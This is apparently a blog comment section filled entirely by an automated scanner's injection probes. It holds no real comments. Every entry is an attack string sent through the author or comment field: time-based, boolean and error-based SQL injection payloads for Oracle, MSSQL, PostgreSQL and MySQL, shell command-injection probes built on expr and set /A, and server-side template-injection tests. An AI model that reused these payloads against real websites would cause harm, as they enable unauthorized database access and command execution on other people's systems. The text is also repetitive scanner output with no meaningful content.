123456 says:

123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('o',7)='o

123456 says:

123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('b',0)='b

123456 says:

123456/**/and/**/0=DBMS_PIPE.RECEIVE_MESSAGE('e',7)

123456 says:

123456/**/and/**/2=DBMS_PIPE.RECEIVE_MESSAGE('v',0)

123456 says:

123456'and(select+1)>0waitfor/**/delay'0:0:7

123456 says:

123456'and(select+1)>0waitfor/**/delay'0:0:0

123456 says:

123456/**/and(select+1)>0waitfor/**/delay'0:0:7'/**/

123456 says:

123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/

123456 says:

123456'/**/and(select'1'from/**/pg_sleep(7))::text>'0

123456 says:

123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0

123456 says:

123456/**/and(select+1/**/from/**/pg_sleep(7))>0/**/

123456 says:

123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/

123456 says:

123456"and(select*from(select+sleep(7))a/**/union/**/select+1)="

123456 says:

123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="

123456 says:

123456'and(select*from(select+sleep(7))a/**/union/**/select+1)='

123456 says:

123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='

123456 says:

(select*from(select+sleep(7)union/**/select+1)a)

123456 says:

(select*from(select+sleep(0)union/**/select+1)a)

123456 says:

123456"and"v"="i

123456 says:

123456"and"g"="g

123456 says:

123456'and'e'='m

123456 says:

123456'and'k'='k

123456 says:

123456/**/and+3=6

123456 says:

123456/**/and+1=1

123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('c',7)='c says:

123456

123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('n',0)='n says:

123456

123456/**/and/**/1=DBMS_PIPE.RECEIVE_MESSAGE('m',7) says:

123456

123456/**/and/**/2=DBMS_PIPE.RECEIVE_MESSAGE('y',0) says:

123456

123456'and(select+1)>0waitfor/**/delay'0:0:7 says:

123456

123456'and(select+1)>0waitfor/**/delay'0:0:0 says:

123456

123456/**/and(select+1)>0waitfor/**/delay'0:0:7'/**/ says:

123456

123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/ says:

123456

123456'/**/and(select'1'from/**/pg_sleep(7))::text>'0 says:

123456

123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0 says:

123456

123456/**/and(select+1/**/from/**/pg_sleep(7))>0/**/ says:

123456

123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/ says:

123456

123456"and(select*from(select+sleep(7))a/**/union/**/select+1)=" says:

123456

123456"and(select*from(select+sleep(0))a/**/union/**/select+1)=" says:

123456

123456'and(select*from(select+sleep(7))a/**/union/**/select+1)=' says:

123456

123456'and(select*from(select+sleep(0))a/**/union/**/select+1)=' says:

123456

(select*from(select+sleep(7)union/**/select+1)a) says:

123456

123456 says:

123456'"\(

(select*from(select+sleep(0)union/**/select+1)a) says:

123456

123456 says:

123456鎈'"\(

123456 says:

123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1654173636')))>'0

123456 says:

convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1103770982')))

123456 says:

123456

123456 says:

123456/**/and/**/cast(md5('1375448542')as/**/int)>0

123456 says:

123456

123456 says:

expr 803065266 + 869542423

123456 says:

123456'and(select'1'from/**/cast(md5(1776447931)as/**/int))>'0

123456 says:

123456

123456 says:

123456&set /A 883603205+907621116

123456 says:

extractvalue(1,concat(char(126),md5(1963515664)))

123456"and"a"="u says:

123456

123456 says:

<%- 988766291+941426433 %>

123456 says:

123456$(expr 950123669 + 852426377)

123456"and"d"="d says:

123456

123456 says:

123456"and/**/extractvalue(1,concat(char(126),md5(1717449615)))and"

123456 says:

#set($c=902435509+812382367)${c}$c

123456 says:

123456'and/**/extractvalue(1,concat(char(126),md5(1751738970)))and'

123456'and'e'='z says:

123456

123456 says:

123456|expr 968922295 + 938265234

123456 says:

${(853515653+972737308)?c}

123456'"\( says:

123456

123456 says:

123456 expr 968335274 + 827284138

123456 says:

${974796745+919175550}

123456鎈'"\( says:

123456

123456'and'i'='i says:

123456

123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1000168363')))>'0 says:

123456

expr 956943277 + 944584536 says:

123456

123456/**/and+3=9 says:

123456

123456&set /A 958798357+904781089 says:

123456

123456/**/and+3=3 says:

123456

123456 says:

123456

convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1153364217'))) says:

123456

123456 says:

/*1*/{{942934085+864574804}}

<%- 814680446+927959087 %> says:

123456

123456 says:

${952044441+989902120}

#set($c=922562183+934664261)${c}$c says:

123456

${(968840815+926219234)?c} says:

123456

123456 says:

123456

123456 says:

'-var_dump(md5(370606336))-'

${891969424+945157676} says:

123456

123456/**/and/**/cast(md5('1728444159')as/**/int)>0 says:

123456

123456 says:

${@var_dump(md5(688576824))};

123456'and(select'1'from/**/cast(md5(1955962397)as/**/int))>'0 says:

123456

${803861592+972548454} says:

123456

/*1*/{{844788440+929482128}} says:

123456

extractvalue(1,concat(char(126),md5(1233703557))) says:

123456

'-var_dump(md5(960751267))-' says:

123456

bgftqvmzuwzisgaibbiu says:

123456

${@var_dump(md5(953191117))}; says:

123456

123456"and/**/extractvalue(1,concat(char(126),md5(1000912586)))and" says:

123456

123456$(expr 932901045 + 985029059) says:

123456

123456'and/**/extractvalue(1,concat(char(126),md5(1318565491)))and' says:

123456

123456|expr 831590518 + 840806604 says:

123456

123456 says:

123456

123456 expr 873693014 + 961981125 says:

123456

123456 says:

123456

123456 says:

bgftqvmzuwzisgaibbiu

123456 says:

123456

123456 says:

123456

123456 says:

123456

123456 says:

123456

123456 says:

123456

123456 says:

123456